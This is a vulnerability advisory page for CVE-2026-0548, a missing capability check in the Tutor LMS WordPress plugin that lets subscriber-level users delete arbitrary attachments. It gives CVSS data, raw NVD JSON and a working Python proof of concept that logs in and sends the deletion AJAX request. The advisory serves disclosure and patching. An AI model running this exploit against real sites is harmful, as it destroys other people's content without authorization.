Security Vulnerability Report
中文
CVE-2026-0548 CVSS 5.4 MEDIUM

CVE-2026-0548

Published: 2026-01-20 15:20:07
Last Modified: 2026-04-15 00:35:42

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Tutor LMS < 3.9.5 (all versions up to 3.9.4)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0548 PoC - Tutor LMS Unauthorized Attachment Deletion # Affected Version: <= 3.9.4 # Authentication Required: Subscriber level or higher import requests import sys target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit the vulnerability - Delete arbitrary attachment # Replace ATTACHMENT_ID with the target attachment ID to delete attachment_id = 123 # Target attachment ID exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "tutor_delete_existing_user_photo", "attachment_id": attachment_id } response = session.post(exploit_url, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Attachment deletion request sent successfully") else: print("[-] Exploitation failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0548", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:20:06.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site."}, {"lang": "es", "value": "El plugin de solución de eLearning y cursos en línea Tutor LMS para WordPress es vulnerable a la eliminación no autorizada de adjuntos debido a una comprobación de capacidad faltante en la función 'delete_existing_user_photo' en todas las versiones hasta la 3.9.4, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel de suscriptor y superior, eliminen adjuntos arbitrarios en el sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/tutor/tags/3.9.4/classes/User.php&new_path=/tutor/tags/3.9.5/classes/User.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e475e02-494a-4ad0-a83c-d027c3a32989?source=cve", "source": "[email protected]"}]}}